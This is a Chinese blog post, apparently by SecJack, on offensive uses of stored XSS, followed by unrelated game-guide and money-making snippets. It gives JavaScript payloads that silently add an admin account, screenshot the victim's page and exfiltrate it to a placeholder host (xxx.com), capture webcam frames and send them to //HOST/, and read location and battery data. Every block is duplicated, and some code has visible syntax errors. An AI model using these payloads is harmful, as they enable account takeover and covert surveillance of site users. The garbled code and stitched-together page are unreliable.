本文原作者:SecJack
天就来讲一下大家都熟悉的 xss漏洞的攻击利用。相信大家对xss已经很熟悉了,但是很多安全人员的意识里 xss漏洞危害只有弹窗或者窃取cookie。但是xss还有更多的花式玩法,今天将介绍几种。
1. xss攻击添加管理员
后台触发存储型XSS,网站设置http-only,窃取的cookie无效。那么如何在这种情况下利用xss漏洞。
无法获取cookie,但是我们可以利用xss漏洞,以管理员的权限,添加一个新的管理员。没错,就是让管理员给我们加一个高权限账号。
这里我们会用到 JavaScript和Ajax 技术。 利用xmlhttp 发送一个http请求,在后台发送一个添加管理员的post请求。
var request = false;
if(window.XMLHttpRequest) {
request = new.XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/html');
}
} else if(Window.ActiveXObject) {
var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};
for(var i=0; i<versions.length; i ++){
try{
request = new ActiveXObject(versions);
}catch(e){}
}
}
xmlhttp = request;
add_admin();
function add_admin(){
var url = "/admin/admin_add_user.php"; //添加用户请求地址
var params = "username=xss&passwod=123456&email=xss@xss.com&submit=1" //添加用户post数据
xmlhttp.open("POST",url,true);
xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")
xmlhttp.setRequstHeader("Content-length",params.length);
xmlhttp.setRequstHeader("Connection","close")
}
var request = false;
if(window.XMLHttpRequest) {
request = new.XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/html');
}
} else if(Window.ActiveXObject) {
var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};
for(var i=0; i<versions.length; i ++){
try{
request = new ActiveXObject(versions);
}catch(e){}
}
}
xmlhttp = request;
add_admin();
function add_admin(){
var url = "/admin/admin_add_user.php"; //添加用户请求地址
var params = "username=xss&passwod=123456&email=xss@xss.com&submit=1" //添加用户post数据
xmlhttp.open("POST",url,true);
xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")
xmlhttp.setRequstHeader("Content-length",params.length);
xmlhttp.setRequstHeader("Connection","close")
}
2, xss截取客户的屏幕
现在随着技术的进步,前端技术支持的面非常广泛。xss漏洞可以利用html5的 canvas 来进行屏幕的截屏功能,类似于远程控制木马查看对方屏幕功能。这个可以大大的提高对于进一步入侵的信息收集。废话不说直接上代码。
这里需要用到一个js库 html2canvas.js
document.write("<script src="html2canvas.js\><\/script>");
window.onload=function(){
html2canvas(document.body, {
onrendered: function(canvas) {
//下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post
xhr=function(){
var request = false;
if(window.XMLHttpRequest){
request = new XMLHttpRequest();
}else if (window.ActiveXObject){
try{
request = new window.ActiveXObject('Microsoft.XMLHTTP');
}catch(e){
}
}
return request;
}();
request = function(method,src,argv,content_type){
xhr.open(method,src,false);
if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
xhr.send(argv); //发送POST数据
return xhr.responseText;
};
attack_a = function(){
var src = "http://xxx.com/xss.php?"; //post接收地址
var argv_0 = "'&screenshot="+canvas.toDataURL(); //post字段名称为screenshot
request("POST",src,argv_0,"application/x-www-form-urlencoded");
};
attack_a();
}
});
}
document.write("<script src="html2canvas.js\><\/script>");
window.onload=function(){
html2canvas(document.body, {
onrendered: function(canvas) {
//下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post
xhr=function(){
var request = false;
if(window.XMLHttpRequest){
request = new XMLHttpRequest();
}else if (window.ActiveXObject){
try{
request = new window.ActiveXObject('Microsoft.XMLHTTP');
}catch(e){
}
}
return request;
}();
request = function(method,src,argv,content_type){
xhr.open(method,src,false);
if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
xhr.send(argv); //发送POST数据
return xhr.responseText;
};
attack_a = function(){
var src = "http://xxx.com/xss.php?"; //post接收地址
var argv_0 = "'&screenshot="+canvas.toDataURL(); //post字段名称为screenshot
request("POST",src,argv_0,"application/x-www-form-urlencoded");
};
attack_a();
}
});
}
上面的代码是针对 pc端的截屏,手机端的截屏xss代码有所不同
<script>
d=document;
v=d.createElement('video');
c=d.createElement('canvas');
c.width=640;
c.height=480;
navigator.webkitGetUserMedia({'video':true},function(s){
v.src=URL.createObjectURL(s);v.play()},function(){});
c2=c.getContext('2d');
x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';
setInterval(x,5000);
</script>
<script>
d=document;
v=d.createElement('video');
c=d.createElement('canvas');
c.width=640;
c.height=480;
navigator.webkitGetUserMedia({'video':true},function(s){
v.src=URL.createObjectURL(s);v.play()},function(){});
c2=c.getContext('2d');
x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';
setInterval(x,5000);
</script>
这两种服务端获取到的post数据包是 base64格式的 ,我们只要进行转码即可看到对方的屏幕截图。
3.xss对移动端的攻击
现在越来越多的人喜欢用手机查看网页,xss针对手机端的支持也很友好。
这里只针对手机端Firefox浏览器说明。
xss获取对方经纬度代码
<script>
navigator.geolocation.getCurrentPosition(function(p){
alert('Latitude:'+p.coords.latitude+',Longitude:'+
p.coords.longitude+',Altitude:'+p.coords.altitude);})
</script>
<script>
navigator.geolocation.getCurrentPosition(function(p){
alert('Latitude:'+p.coords.latitude+',Longitude:'+
p.coords.longitude+',Altitude:'+p.coords.altitude);})
</script>
xss获取电池状态的代码,这里需要用到JavaScript Battery API
<svg onload=alert(navigator.battery.level)>
<svg onload=alert(navigator.battery.dischargingTime)>
<svg onload=alert(navigator.battery.charging)>
<svg onload=alert(navigator.battery.level)>
<svg onload=alert(navigator.battery.dischargingTime)>
<svg onload=alert(navigator.battery.charging)>
更多xss猥琐玩法欢迎交流,文章若有错误请留言告知~
云顶之弈10.9版本已经上线一段时间了,相信不少玩家已经研究出了很多上分阵容,那么当前版本下,什么阵容最厉害呢?哪些阵容容易吃鸡呢?这里说下永动虚空斗这个阵容吧,永动虚空斗怎么玩?想来很多朋友都还不是...
能够看到这篇文章,走上互联网赚这条道路,相信每个人都是为了钱。现今互联网赚不论是做产品,项目。都是绝对离不开粉丝的。很简单今日头条,腾讯,百度,阿里巴巴就是掌握着全国的网民数量。手握大量粉丝,还会有你...
王者荣耀8月4日进行了一波更新,这次更新后,萌萌达的新英雄阿古朵终于上线了。阿古朵是一个定位打野的英雄,那么,阿古朵应该怎么玩呢?其实阿古朵的玩法很多,比如说辅助的打野,坦克打野,输出打野等等。大家对...
最近玩云顶之弈这个游戏的玩家都在问,游戏在进行10.19版本更新后,有什么阵容比较厉害,适合上分,其实更新后玉剑耀光这个阵容就非常的不错,很多玩家不知道怎么玩,小编我特意整理了相关的资讯,下面就是蚕豆...
剑网3游戏最近曝光了一个新的活动,镜花梦影。相信很多玩家很好奇吧,那么,镜花梦影是什么样的活动呢,怎么玩呢,有哪些奖励呢?即将上线的新活动镜花梦影是一个塔防活动,有很多玩家不知道这个活动怎么玩,那么下...
王者荣耀挑战绝悟活动怎么玩呢?很多玩家都不是很清楚,接下来小编为大家带来一篇王者荣耀挑战绝悟活动怎么玩 挑战绝悟活动玩法介绍。 王者挑战绝悟活动介绍 五五开黑节马上到,一位神秘强者即将降临峡谷,向...